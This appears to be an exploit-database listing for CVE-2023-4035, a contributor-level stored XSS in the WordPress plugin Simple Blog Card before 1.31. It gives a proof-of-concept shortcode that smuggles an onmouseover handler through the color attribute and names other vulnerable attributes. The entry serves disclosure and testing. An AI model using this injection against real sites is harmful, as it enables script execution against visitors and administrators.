Exploit for Simple Blog Card < 1.31 - Contributor+ Stored XSS via Shortcode CVE-2023-4035

Name: Exploit for Simple Blog Card < 1.31 - Contributor+ Stored XSS via Shortcode CVE-2023-4035
Rating: 5 (57 reviews)

2023-08-02 | CVSS 4.9

## https://sploitus.com/exploit?id=WPEX-ID:8FD9192A-2D08-4127-ADCD-87FB1EA8D6FC
As a contributor, put the following shortcode in a post

[simpleblogcard url="http://***.*/" color='red;" onmouseover="alert(/XSS/)"']

Other affected attributes: color, color_width, t_line_height, d_line_height